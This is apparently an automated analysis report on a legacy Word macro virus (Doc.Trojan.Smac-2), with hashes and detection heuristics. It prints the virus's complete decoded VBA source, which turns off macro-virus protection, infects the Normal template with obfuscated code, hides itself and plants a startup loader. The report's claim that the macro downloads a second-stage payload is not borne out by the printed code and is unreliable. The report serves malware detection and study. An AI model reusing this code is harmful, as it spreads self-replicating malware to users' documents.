Office (OLE) malware analysis — malicious · f327721ccaa1dc19

MALICIOUS

Office (OLE)

56.5 KB Created: 1998-10-27 08:43:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14

MD5: 34031d444037600520a2f7513d337fbd SHA-1: ff08367dbaa26f4c90a1d34ae50ca6e0a3d71f6b SHA-256: f327721ccaa1dc19d6534bd227281e354dd5ef5f906b1808d384a588bf0443d5

248 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as a legacy WordBasic macro-virus by ClamAV, with high-severity heuristics indicating the presence of legacy WordBasic macro-virus markers and an AutoOpen macro. The AutoOpen subroutine attempts to export a macro as 'NewMacro.txt' and potentially create a loader, suggesting it's designed to download and execute a second-stage payload. The presence of legacy macro code points to older malware distribution techniques.

Heuristics 5

ClamAV: Doc.Trojan.Smac-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Smac-2
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
Options.VirusProtection = False
```
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS

OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	102050 bytes
SHA-256: `176f8f94edd323ac68f165a4222face767ac69e3cfd3a8ce0e8cdf002db0f29f`
Detection ClamAV: Doc.Trojan.Smac-2 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "NewMacro" Sub AutoOpen() On Error Resume Next Application.ShowVisualBasicEditor = False Options.VirusProtection = False Options.SaveNormalPrompt = False Options.ConfirmConversions = False Call Routine Call Setpath For I = 1 To NormalTemplate.VBProject.VBComponents.Count If NormalTemplate.VBProject.VBComponents(I).Name = "Macro_Run" Then GoTo Label_Exit If NormalTemplate.VBProject.VBComponents(I).Name = "NewMacro" Then NormInstall = True Next I For I = 1 To ActiveDocument.VBProject.VBComponents.Count If ActiveDocument.VBProject.VBComponents(I).Name = "NewMacro" Then ActivInstall = True Next I If ActivInstall = True And NormInstall = True Then GoTo Label_Exit If ActivInstall = True And NormInstall = False Then Set Doc = ActiveDocument If ActivInstall = False And NormInstall = True Then Set Doc = NormalTemplate Pad = Options.DefaultFilePath(wdDocumentsPath) ModuleLength = Doc.VBProject.VBComponents("NewMacro").CodeModule.CountOfLines NormalTemplate.Save Doc.VBProject.VBComponents("NewMacro").Export Pad + ("\NewMacro.txt") Call CreateMacro ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument Label_Exit: CommandBars("Tools").Controls("Templates and Add-Ins...").Delete CommandBars("Format").Controls("Style...").Delete If NormInstall = True Then Call Create_Loader Call Restorepath Application.ScreenUpdating = True Application.DisplayAlerts = wdAlertsAll Application.EnableCancelKey = wdCancelInterrupt End Sub Sub CreateMacro() Application.ScreenUpdating = False Dim decrypt(23) decrypt(1) = Chr(65) + Chr(116) + Chr(116) + Chr(114) + Chr(105) + Chr(98) + Chr(117) + Chr(116) + Chr(101) + Chr(32) + Chr(86) + Chr(66) + Chr(95) + Chr(78) + Chr(97) + Chr(109) + Chr(101) + Chr(32) + Chr(61) + Chr(32) + Chr(34) + Chr(77) + Chr(97) + Chr(99) + Chr(114) + Chr(111) + Chr(95) + Chr(82) + Chr(117) + Chr(110) + Chr(34) decrypt(2) = Chr(83) + Chr(117) + Chr(98) + Chr(32) + Chr(65) + Chr(117) + Chr(116) + Chr(111) + Chr(67) + Chr(108) + Chr(111) + Chr(115) + Chr(101) + Chr(40) + Chr(41) decrypt(3) = Chr(79) + Chr(110) + Chr(32) + Chr(69) + Chr(114) + Chr(114) + Chr(111) + Chr(114) + Chr(32) + Chr(82) + Chr(101) + Chr(115) + Chr(117) + Chr(109) + Chr(101) + Chr(32) + Chr(78) + Chr(101) + Chr(120) + Chr(116) decrypt(4) = Chr(65) + Chr(112) + Chr(112) + Chr(108) + Chr(105) + Chr(99) + Chr(97) + Chr(116) + Chr(105) + Chr(111) + Chr(110) + Chr(46) + Chr(68) + Chr(105) + Chr(115) + Chr(112) + Chr(108) + Chr(97) + Chr(121) + Chr(65) + Chr(108) + Chr(101) + Chr(114) + Chr(116) + Chr(115) + Chr(32) + Chr(61) + Chr(32) + Chr(119) + Chr(100) + Chr(65) + Chr(108) + Chr(101) + Chr(114) + Chr(116) + Chr(115) + Chr(78) + Chr(111) + Chr(110) + Chr(101) decrypt(5) = Chr(80) + Chr(97) + Chr(100) + Chr(32) + Chr(61) + Chr(32) + Chr(79) + Chr(112) + Chr(116) + Chr(105) + Chr(111) + Chr(110) + Chr(115) + Chr(46) + Chr(68) + Chr(101) + Chr(102) + Chr(97) + Chr(117) + Chr(108) + Chr(116) + Chr(70) + Chr(105) + Chr(108) + Chr(101) + Chr(80) + Chr(97) + Chr(116) + Chr(104) + Chr(40) + Chr(119) + Chr(100) + Chr(68) + Chr(111) + Chr(99) + Chr(117) + Chr(109) + Chr(101) + Chr(110) + Chr(116) + Chr(115) + Chr(80) + Chr(97) + Chr(116) + Chr(104) + Chr(41) decrypt(6) = Chr(70) + Chr(111) + Chr(114) + Chr(32) + Chr(73) + Chr(32) + Chr(61) + Chr(32) + Chr(49) + Chr(32) + Chr(84) + Chr(111) + Chr(32) + Chr(78) + Chr(111) + Chr(114) + Chr(109) + Chr(97) + Chr(108) + Chr(84) + Chr(101) + Chr(109) + Chr(112) + Chr(108) + Chr(97) + Chr(116) + Chr(101) + Chr(46) + Chr(86) + Chr(66) + Chr(80) + Chr(114) + Chr(111) + Chr(106) + Chr(101) + Chr(99) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(67) + Chr(111) + Chr(109) + Chr(112) + Chr(111) + Chr(110) + Chr(101) + Chr(110) + Chr(116) + Chr(115) + Chr(46) + Chr(67) + Chr(111) + Chr(117) + Chr(110) + Chr(116) decrypt(7) = Chr(73) + Chr(102) + Chr(32) + Chr(78) + Chr(111) + Chr(114) + Chr(109) + Chr(97) + Chr(108) + Chr(84) + Chr(101) + Chr(109) + Chr(112) + Chr(108) + Chr(97) + Chr(116) + Chr(101) + Chr(46) + Chr(86) + Chr(66) + Chr(80) + Chr(114) + Chr(111) + Chr(106) + Chr(101) + Chr(99) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(67) + Chr(111) + Chr(109) + Chr(112) + Chr(111) + Chr(110) + Chr(101) + Chr(110) + Chr(116) + Chr(115) + Chr(40) + Chr(73) + Chr(41) + Chr(46) + Chr(78) + Chr(97) + Chr(109) + Chr(101) + Chr(32) + Chr(61) + Chr(32) + Chr(34) + Chr(78) + Chr(101) + Chr(119) + Chr(77) + Chr(97) + Chr(99) + Chr(114) + Chr(111) + Chr(34) + Chr(32) + Chr(84) + Chr(104) + Chr(101) + Chr(110) + Chr(32) + Chr(78) + Chr(111) + Chr(114) + Chr(109) + Chr(73) + Chr(110) + Chr(115) + Chr(116) + Chr(97) + Chr(108) + Chr(108) + Chr(32) + Chr(61) + Chr(32) + Chr(84) + Chr(114) + Chr(117) + Chr(101) decrypt(8) = Chr(78) + Chr(101) + Chr(120) + Chr(116) + Chr(32) + Chr(73) decrypt(9) = Chr(70) + Chr(111) + Chr(114) + Chr(32) + Chr(73) + Chr(32) + Chr(61) + Chr(32) + Chr(49) + Chr(32) + Chr(84) + Chr(111) + Chr(32) + Chr(65) + Chr(99) + Chr(116) + Chr(105) + Chr(118) + Chr(101) + Chr(68) + Chr(111) + Chr(99) + Chr(117) + Chr(109) + Chr(101) + Chr(110) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(80) + Chr(114) + Chr(111) + Chr(106) + Chr(101) + Chr(99) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(67) + Chr(111) + Chr(109) + Chr(112) + Chr(111) + Chr(110) + Chr(101) + Chr(110) + Chr(116) + Chr(115) + Chr(46) + Chr(67) + Chr(111) + Chr(117) + Chr(110) + Chr(116) decrypt(10) = Chr(73) + Chr(102) + Chr(32) + Chr(65) + Chr(99) + Chr(116) + Chr(105) + Chr(118) + Chr(101) + Chr(68) + Chr(111) + Chr(99) + Chr(117) + Chr(109) + Chr(101) + Chr(110) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(80) + Chr(114) + Chr(111) + Chr(106) + Chr(101) + Chr(99) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(67) + Chr(111) + Chr(109) + Chr(112) + Chr(111) + Chr(110) + Chr(101) + Chr(110) + Chr(116) + Chr(115) + Chr(40) + Chr(73) + Chr(41) + Chr(46) + Chr(78) + Chr(97) + Chr(109) + Chr(101) + Chr(32) + Chr(61) + Chr(32) + Chr(34) + Chr(78) + Chr(101) + Chr(119) + Chr(77) + Chr(97) + Chr(99) + Chr(114) + Chr(111) + Chr(34) + Chr(32) + Chr(84) + Chr(104) + Chr(101) + Chr(110) + Chr(32) + Chr(65) + Chr(99) + Chr(116) + Chr(105) + Chr(118) + Chr(101) + Chr(73) + Chr(110) + Chr(115) + Chr(116) + Chr(97) + Chr(108) + Chr(108) + Chr(32) + Chr(61) + Chr(32) + Chr(84) + Chr(114) + Chr(117) + Chr(101) decrypt(11) = Chr(78) + Chr(101) + Chr(120) + Chr(116) + Chr(32) + Chr(73) decrypt(12) = Chr(73) + Chr(102) + Chr(32) + Chr(65) + Chr(99) + Chr(116) + Chr(105) + Chr(118) + Chr(101) + Chr(73) + Chr(110) + Chr(115) + Chr(116) + Chr(97) + Chr(108) + Chr(108) + Chr(32) + Chr(61) + Chr(32) + Chr(84) + Chr(114) + Chr(117) + Chr(101) + Chr(32) + Chr(65) + Chr(110) + Chr(100) + Chr(32) + Chr(78) + Chr(111) + Chr(114) + Chr(109) + Chr(73) + Chr(110) + Chr(115) + Chr(116) + Chr(97) + Chr(108) + Chr(108) + Chr(32) + Chr(61) + Chr(32) + Chr(84) + Chr(114) + Chr(117) + Chr(101) + Chr(32) + Chr(84) + Chr(104) + Chr(101) + Chr(110) + Chr(32) + Chr(71) + Chr(111) + Chr(84) + Chr(111) + Chr(32) + Chr(76) + Chr(97) + Chr(98) + Chr(101) + Chr(108) + Chr(95) + Chr(69) + Chr(120) + Chr(105) + Chr(116) decrypt(13) = Chr(73) + Chr(102) + Chr(32) + Chr(78) + Chr(111) + Chr(114) + Chr(109) + Chr(73) + Chr(110) + Chr(115) + Chr(116) + Chr(97) + Chr(108) + Chr(108) + Chr(32) + Chr(61) + Chr(32) + Chr(70) + Chr(97) + Chr(108) + Chr(115) + Chr(101) + Chr(32) + Chr(84) + Chr(104) + Chr(101) + Chr(110) decrypt(14) = Chr(78) + Chr(111) + Chr(114) + Chr(109) + Chr(97) + Chr(108) + Chr(84) + Chr(101) + Chr(109) + Chr(112) + Chr(108) + Chr(97) + Chr(116) + Chr(101) + Chr(46) + Chr(86) + Chr(66) + Chr(80) + Chr(114) + Chr(111) + Chr(106) + Chr(101) + Chr(99) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(67) + Chr(111) + Chr(109) + Chr(112) + Chr(111) + Chr(110) + Chr(101) + Chr(110) + Chr(116) + Chr(115) + Chr(46) + Chr(73) + Chr(109) + Chr(112) + Chr(111) + Chr(114) + Chr(116) + Chr(32) + Chr(80) + Chr(97) + Chr(100) + Chr(32) + Chr(43) + Chr(32) + Chr(40) + Chr(34) + Chr(47) + Chr(78) + Chr(101) + Chr(119) + Chr(77) + Chr(97) + Chr(99) + Chr(114) + Chr(111) + Chr(46) + Chr(116) + Chr(120) + Chr(116) + Chr(34) + Chr(41) decrypt(15) = Chr(78) + Chr(111) + Chr(114) + Chr(109) + Chr(97) + Chr(108) + Chr(84) + Chr(101) + Chr(109) + Chr(112) + Chr(108) + Chr(97) + Chr(116) + Chr(101) + Chr(46) + Chr(83) + Chr(97) + Chr(118) + Chr(101) decrypt(16) = Chr(69) + Chr(108) + Chr(115) + Chr(101) decrypt(17) = Chr(68) + Chr(110) + Chr(97) + Chr(109) + Chr(101) + Chr(32) + Chr(61) + Chr(32) + Chr(65) + Chr(99) + Chr(116) + Chr(105) + Chr(118) + Chr(101) + Chr(68) + Chr(111) + Chr(99) + Chr(117) + Chr(109) + Chr(101) + Chr(110) + Chr(116) + Chr(46) + Chr(70) + Chr(117) + Chr(108) + Chr(108) + Chr(78) + Chr(97) + Chr(109) + Chr(101) decrypt(18) = Chr(73) + Chr(102) + Chr(32) + Chr(76) + Chr(101) + Chr(102) + Chr(116) + Chr(36) + Chr(40) + Chr(68) + Chr(110) + Chr(97) + Chr(109) + Chr(101) + Chr(44) + Chr(32) + Chr(56) + Chr(41) + Chr(32) + Chr(61) + Chr(32) + Chr(34) + Chr(68) + Chr(111) + Chr(99) + Chr(117) + Chr(109) + Chr(101) + Chr(110) + Chr(116) + Chr(34) + Chr(32) + Chr(84) + Chr(104) + Chr(101) + Chr(110) + Chr(32) + Chr(71) + Chr(111) + Chr(84) + Chr(111) + Chr(32) + Chr(76) + Chr(97) + Chr(98) + Chr(101) + Chr(108) + Chr(95) + Chr(69) + Chr(120) + Chr(105) + Chr(116) decrypt(19) = Chr(65) + Chr(99) + Chr(116) + Chr(105) + Chr(118) + Chr(101) + Chr(68) + Chr(111) + Chr(99) + Chr(117) + Chr(109) + Chr(101) + Chr(110) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(80) + Chr(114) + Chr(111) + Chr(106) + Chr(101) + Chr(99) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(67) + Chr(111) + Chr(109) + Chr(112) + Chr(111) + Chr(110) + Chr(101) + Chr(110) + Chr(116) + Chr(115) + Chr(46) + Chr(73) + Chr(109) + Chr(112) + Chr(111) + Chr(114) + Chr(116) + Chr(32) + Chr(80) + Chr(97) + Chr(100) + Chr(32) + Chr(43) + Chr(32) + Chr(40) + Chr(34) + Chr(47) + Chr(78) + Chr(101) + Chr(119) + Chr(77) + Chr(97) + Chr(99) + Chr(114) + Chr(111) + Chr(46) + Chr(116) + Chr(120) + Chr(116) + Chr(34) + Chr(41) decrypt(20) = Chr(65) + Chr(99) + Chr(116) + Chr(105) + Chr(118) + Chr(101) + Chr(68) + Chr(111) + Chr(99) + Chr(117) + Chr(109) + Chr(101) + Chr(110) + Chr(116) + Chr(46) + Chr(83) + Chr(97) + Chr(118) + Chr(101) + Chr(65) + Chr(115) + Chr(32) + Chr(70) + Chr(105) + Chr(108) + Chr(101) + Chr(78) + Chr(97) + Chr(109) + Chr(101) + Chr(58) + Chr(61) + Chr(65) + Chr(99) + Chr(116) + Chr(105) + Chr(118) + Chr(101) + Chr(68) + Chr(111) + Chr(99) + Chr(117) + Chr(109) + Chr(101) + Chr(110) + Chr(116) + Chr(46) + Chr(70) + Chr(117) + Chr(108) + Chr(108) + Chr(78) + Chr(97) + Chr(109) + Chr(101) + Chr(44) + Chr(32) + Chr(70) + Chr(105) + Chr(108) + Chr(101) + Chr(70) + Chr(111) + Chr(114) + Chr(109) + Chr(97) + Chr(116) + Chr(58) + Chr(61) + Chr(119) + Chr(100) + Chr(70) + Chr(111) + Chr(114) + Chr(109) + Chr(97) + Chr(116) + Chr(68) + Chr(111) + Chr(99) + Chr(117) + Chr(109) + Chr(101) + Chr(110) + Chr(116) decrypt(21) = Chr(69) + Chr(110) + Chr(100) + Chr(32) + Chr(73) + Chr(102) decrypt(22) = Chr(76) + Chr(97) + Chr(98) + Chr(101) + Chr(108) + Chr(95) + Chr(69) + Chr(120) + Chr(105) + Chr(116) + Chr(58) decrypt(23) = Chr(69) + Chr(110) + Chr(100) + Chr(32) + Chr(83) + Chr(117) + Chr(98) Pad = Options.DefaultFilePath(wdDocumentsPath) FileNumber = FreeFile Open Pad + "\Macro_Run.txt" For Output As #FileNumber For X = 1 To 23 Print #FileNumber, decrypt(X) Next X Close #FileNumber For I = 1 To NormalTemplate.VBProject.VBComponents.Count If NormalTemplate.VBProject.VBComponents(I).Name = "NewMacro" Then NormInstall = True Next I If NormInstall = True Then Set Obj = NormalTemplate.VBProject Else Set Obj = ActiveDocument.VBProject End If With Application Obj.VBComponents("NewMacro").CodeModule.ReplaceLine 85, Chr(78) + Chr(111) + Chr(114) + Chr(109) + Chr(97) + Chr(108) + Chr(84) + Chr(101) + Chr(109) + Chr(112) + Chr(108) + Chr(97) + Chr(116) + Chr(101) + Chr(46) + Chr(86) + Chr(66) + Chr(80) + Chr(114) + Chr(111) + Chr(106) + Chr(101) + Chr(99) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(67) + Chr(111) + Chr(109) + Chr(112) + Chr(111) + Chr(110) + Chr(101) + Chr(110) + Chr(116) + Chr(115) + Chr(46) + Chr(73) + Chr(109) + Chr(112) + Chr(111) + Chr(114) + Chr(116) + Chr(32) + Chr(80) + Chr(97) + Chr(100) + Chr(32) + Chr(43) + Chr(32) + Chr(34) + Chr(92) + Chr(77) + Chr(97) + Chr(99) + Chr(114) + Chr(111) + Chr(95) + Chr(82) + Chr(117) + Chr(110) + Chr(46) + Chr(116) + Chr(120) + Chr(116) + Chr(34) Call Do_The_Thing Obj.VBComponents("NewMacro").CodeModule.ReplaceLine 85, "'Temporary line do not remove!" NormalTemplate.Save End With Application.ScreenUpdating = True End Sub Sub Do_The_Thing() Pad = Options.DefaultFilePath(wdDocumentsPath) 'Temporary line do not remove! End Sub Sub ToolsMacro() On Error Resume Next NormalTemplate.VBProject.VBComponents("NewMacro").CodeModule.ReplaceLine 134, Chr(68) + Chr(111) + Chr(99) + Chr(46) + Chr(86) + Chr(66) + Chr(80) + Chr(114) + Chr(111) + Chr(106) + Chr(101) + Chr(99) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(67) + Chr(111) + Chr(109) + Chr(112) + Chr(111) + Chr(110) + Chr(101) + Chr(110) + Chr(116) + Chr(115) + Chr(40) + Chr(73) + Chr(41) + Chr(46) + Chr(67) + Chr(111) + Chr(100) + Chr(101) + Chr(77) + Chr(111) + Chr(100) + Chr(117) + Chr(108) + Chr(101) + Chr(46) + Chr(65) + Chr(100) + Chr(100) + Chr(70) + Chr(114) + Chr(111) + Chr(109) + Chr(70) + Chr(105) + Chr(108) + Chr(101) + Chr(32) + Chr(80) + Chr(97) + Chr(100) + Chr(32) + Chr(43) + Chr(32) + Chr(40) + Chr(34) + Chr(92) + Chr(77) + Chr(111) + Chr(100) + Chr(117) + Chr(108) + Chr(101) + Chr(49) + Chr(46) + Chr(98) + Chr(97) + Chr(115) + Chr(34) + Chr(41) ActiveDocument.VBProject.VBComponents("NewMacro").CodeModule.ReplaceLine 134, Chr(68) + Chr(111) + Chr(99) + Chr(46) + Chr(86) + Chr(66) + Chr(80) + Chr(114) + Chr(111) + Chr(106) + Chr(101) + Chr(99) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(67) + Chr(111) + Chr(109) + Chr(112) + Chr(111) + Chr(110) + Chr(101) + Chr(110) + Chr(116) + Chr(115) + Chr(40) + Chr(73) + Chr(41) + Chr(46) + Chr(67) + Chr(111) + Chr(100) + Chr(101) + Chr(77) + Chr(111) + Chr(100) + Chr(117) + Chr(108) + Chr(101) + Chr(46) + Chr(65) + Chr(100) + Chr(100) + Chr(70) + Chr(114) + Chr(111) + Chr(109) + Chr(70) + Chr(105) + Chr(108) + Chr(101) + Chr(32) + Chr(80) + Chr(97) + Chr(100) + Chr(32) + Chr(43) + Chr(32) + Chr(40) + Chr(34) + Chr(92) + Chr(77) + Chr(111) + Chr(100) + Chr(117) + Chr(108) + Chr(101) + Chr(49) + Chr(46) + Chr(98) + Chr(97) + Chr(115) + Chr(34) + Chr(41) NormalTemplate.VBProject.VBComponents("NewMacro").CodeModule.ReplaceLine 138, Chr(68) + Chr(111) + Chr(99) + Chr(46) + Chr(86) + Chr(66) + Chr(80) + Chr(114) + Chr(111) + Chr(106) + Chr(101) + Chr(99) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(67) + Chr(111) + Chr(109) + Chr(112) + Chr(111) + Chr(110) + Chr(101) + Chr(110) + Chr(116) + Chr(115) + Chr(40) + Chr(73) + Chr(41) + Chr(46) + Chr(67) + Chr(111) + Chr(100) + Chr(101) + Chr(77) + Chr(111) + Chr(100) + Chr(117) + Chr(108) + Chr(101) + Chr(46) + Chr(65) + Chr(100) + Chr(100) + Chr(70) + Chr(114) + Chr(111) + Chr(109) + Chr(70) + Chr(105) + Chr(108) + Chr(101) + Chr(32) + Chr(80) + Chr(97) + Chr(100) + Chr(32) + Chr(43) + Chr(32) + Chr(40) + Chr(34) + Chr(92) + Chr(77) + Chr(111) + Chr(100) + Chr(117) + Chr(108) + Chr(101) + Chr(50) + Chr(46) + Chr(98) + Chr(97) + Chr(115) + Chr(34) + Chr(41) ActiveDocument.VBProject.VBComponents("NewMacro").CodeModule.ReplaceLine 138, Chr(68) + Chr(111) + Chr(99) + Chr(46) + Chr(86) + Chr(66) + Chr(80) + Chr(114) + Chr(111) + Chr(106) + Chr(101) + Chr(99) + Chr(116) + Chr(46) + Chr(86) + Chr(66) + Chr(67) + Chr(111) + Chr(109) + Chr(112) + Chr(111) + Chr(110) + Chr(101) + Chr(110) + Chr(116) + Chr(115) + Chr(40) + Chr(73) + Chr(41) + Chr(46) + Chr(67) + Chr(111) + Chr(100) + Chr(101) + Chr(77) + Chr(111) + Chr(100) + Chr(117) + Chr(108) + Chr(101) + Chr(46) + Chr(65) + Chr(100) + Chr(100) + Chr(70) + Chr(114) + Chr(111) + Chr(109) + Chr(70) + Chr(105) + Chr(108) + Chr(101) + Chr(32) + Chr(80) + Chr(97) + Chr(100) + Chr(32) + Chr(43) + Chr(32) + Chr(40) + Chr(34) + Chr(92) + Chr(77) + Chr(111) + Chr(100) + Chr(117) + Chr(108) + Chr(101) + Chr(50) + Chr(46) + Chr(98) + Chr(97) + Chr(115) + Chr(34) + Chr(41) Call Hide NormalTemplate.VBProject.VBComponents("NewMacro").CodeModule.ReplaceLine 134, "'Temporary line. Do NOT remove!" ActiveDocument.VBProject.VBComponents("NewMacro").CodeModule.ReplaceLine 134, "'Temporary line. Do NOT remove!" NormalTemplate.VBProject.VBComponents("NewMacro").CodeModule.ReplaceLine 138, "'Temporary line. Do NOT remove!" ActiveDocument.VBProject.VBComponents("NewMacro").CodeModule.ReplaceLine 138, "'Temporary line. Do NOT remove!" NormalTemplate.Save End Sub Sub Hide() On Error Resume Next Options.SaveNormalPrompt = False Application.EnableCancelKey = wdCancelDisabled Pad = Options.DefaultFilePath(wdDocumentsPath) Set Doc = NormalTemplate Again: For I = 1 To Doc.VBProject.VBComponents.Count If Doc <> NormalTemplate Then GoTo Over If Doc.VBProject.VBComponents(I).Name = "Macro_Run" Then Doc.VBProject.VBComponents(I).Export Pad + "\Module1.bas" End If Over: If Doc.VBProject.VBComponents(I).Name = "NewMacro" Then Doc.VBProject.VBComponents(I).Export Pad + "\Module2.bas" End If a = Doc.VBProject.VBComponents(I).CodeModule.CountOfLines Doc.VBProject.VBComponents(I).CodeModule.DeleteLines 1, a Next I If Flag = 1 Or ActiveDocument = NormalTemplate Then GoTo Done Flag = 1 Set Doc = ActiveDocument GoTo Again Done: Flag = 0 NormalTemplate.Saved = True ActiveDocument.Saved = True ActiveDocument.Saved = True Application.Dialogs(wdDialogToolsMacro).Show Set Doc = NormalTemplate Again1: For I = 1 To Doc.VBProject.VBComponents.Count If Doc <> NormalTemplate Then GoTo Over2 If Doc.VBProject.VBComponents(I).Name = "Macro_Run" Then 'Temporary line. Do NOT remove! End If Over2: If Doc.VBProject.VBComponents(I).Name = "NewMacro" Then 'Temporary line. Do NOT remove! End If Next I If Flag = 1 Or ActiveDocument = NormalTemplate Then GoTo Done1 Flag = 1 Set Doc = ActiveDocument GoTo Again1 Done1: Flag = 0 Kill Pad + ("\Module1.bas") Kill Pad + ("\Module2.bas") Dname = ActiveDocument.FullName If Left$(Dname, 8) = "Document" Then GoTo Done2 ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument Done2: Application.EnableCancelKey = wdCancelInterrupt End Sub Public Sub AutoExec() On Error Resume Next CommandBars("Tools").Controls("Templates and Add-Ins...").Delete CommandBars("Format").Controls("Style...").Delete Application.DisplayAlerts = wdAlertsNone Application.ScreenUpdating = False Options.VirusProtection = False Options.SaveNormalPrompt = False Options.ConfirmConversions = False For I = 1 To NormalTemplate.VBProject.VBComponents.Count If NormalTemplate.VBProject.VBComponents(I).Name = "NewMacro" Then NormInstall = True If NormalTemplate.VBProject.VBComponents(I).Name = "Macro_Run" Then GoTo Out Next I If NormInstall = False Then Pad = Options.DefaultFilePath(wdDocumentsPath) NormalTemplate.VBProject.VBComponents.Import Pad + "\Macro_Run.txt" End If Out: AddIns("Fax.dot").Delete StartupPad = Options.DefaultFilePath(wdUserOptionsPath) Options.DefaultFilePath(wdUserOptionsPath) = "" Options.DefaultFilePath(wdStartupPath) = StartupPad End Sub Sub ViewVBCode() Application.EnableCancelKey = wdCancelDisabled Assistant.Visible = True Assistant.Help Application.EnableCancelKey = wdCancelInterrupt End Sub Sub AutoExit() On Error Resume Next Pad = Options.DefaultFilePath(wdDocumentsPath) Application.NormalTemplate.VBProject.VBComponents.Remove Application.NormalTemplate.VBProject.VBComponents("Macro_Run") Call Setpath NormalTemplate.Save End Sub Sub Routine() On Error Resume Next MyTime = Time If WeekDay(Now) = 1 And Left$(MyTime, 1) = "5" And Right$(MyTime, 2) = "PM" Then With Assistant.NewBalloon .Icon = msoIconMsAlert .Text = "Doesn't work on Sunday Afternoon. Try again Monday." .Heading = "NewMacro message:" & Chr$(13) & "Document not available." .Animation = msoAnimationWorkingAtSomething Assistant.Visible = True .Show End With Assistant.Visible = False ActiveDocument.Close End If End Sub Sub Create_Loader() On Error Resume Next Pad1 = Options.DefaultFilePath(wdStartupPath) MyFile = Dir(Pad1 + "\Fax.dot") If MyFile = "" Then Set aDoc = NormalTemplate.OpenAsDocument With aDoc .SaveAs FileName:=Pad1 + "\Fax.dot" .Close SaveChanges:=wdDoNotSaveChanges End With End If End Sub Sub Setpath() TempFilePad = Options.DefaultFilePath(wdTempFilePath) StartupPad = Options.DefaultFilePath(wdStartupPath) Options.DefaultFilePath(wdUserOptionsPath) = StartupPad Options.DefaultFilePath(wdStartupPath) = TempFilePad End Sub Sub Restorepath() StartupPad = Options.DefaultFilePath(wdUserOptionsPath) Options.DefaultFilePath(wdUserOptionsPath) = "" Options.DefaultFilePath(wdStartupPath) = StartupPad End Sub ' Processing file: /tmp/qstore_2uo44p69 ' =============================================================================== ' Module streams: ' Macros/VBA/ThisDocument - 903 bytes ' Macros/VBA/NewMacro - 30521 bytes ' Line #0: ' FuncDefn (Sub AutoOpen()) ' Line #1: ' OnError (Resume Next) ' Line #2: ' LitVarSpecial (False) ' Ld Application ' MemSt ShowVisualBasicEditor ' Line #3: ' LitVarSpecial (False) ' Ld Options ' MemSt VirusProtection ' Line #4: ' LitVarSpecial (False) ' Ld Options ' MemSt SaveNormalPrompt ' Line #5: ' LitVarSpecial (False) ' Ld Options ' MemSt ConfirmConversions ' Line #6: ' ArgsCall (Call) Routine 0x0000 ' Line #7: ' ArgsCall (Call) Setpath 0x0000 ' Line #8: ' StartForVariable ' Ld I ' EndForVariable ' LitDI2 0x0001 ' Ld NormalTemplate ' MemLd VBProject ' MemLd VBComponents ' MemLd Count ' For ' Line #9: ' Ld I ' Ld NormalTemplate ' MemLd VBProject ' ArgsMemLd VBComponents 0x0001 ' MemLd New ' LitStr 0x0009 "Macro_Run" ' Eq ' If ' BoSImplicit ' GoTo Label_Exit ' EndIf ' Line #10: ' Ld I ' Ld NormalTemplate ' MemLd VBProject ' ArgsMemLd VBComponents 0x0001 ' MemLd New ' LitStr 0x0008 "NewMacro" ' Eq ' If ' BoSImplicit ' LitVarSpecial (True) ' St NormInstall ' EndIf ' Line #11: ' StartForVariable ' Ld I ' EndForVariable ' NextVar ' Line #12: ' StartForVariable ' Ld I ' EndForVariable ' LitDI2 0x0001 ' Ld ActiveDocument ' MemLd VBProject ' MemLd VBComponents ' MemLd Count ' For ' Line #13: ' Ld I ' Ld ActiveDocument ' MemLd VBProject ' ArgsMemLd VBComponents 0x0001 ' MemLd New ' LitStr 0x0008 "NewMacro" ' Eq ' If ' BoSImplicit ' LitVarSpecial (True) ' St ActivInstall ' EndIf ' Line #14: ' StartForVariable ' Ld I ' EndForVariable ' NextVar ' Line #15: ' Ld ActivInstall ' LitVarSpecial (True) ' Eq ' Ld NormInstall ' LitVarSpecial (True) ' Eq ' And ' If ' BoSImplicit ' GoTo Label_Exit ' EndIf ' Line #16: ' Ld ActivInstall ' LitVarSpecial (True) ' Eq ' Ld NormInstall ' 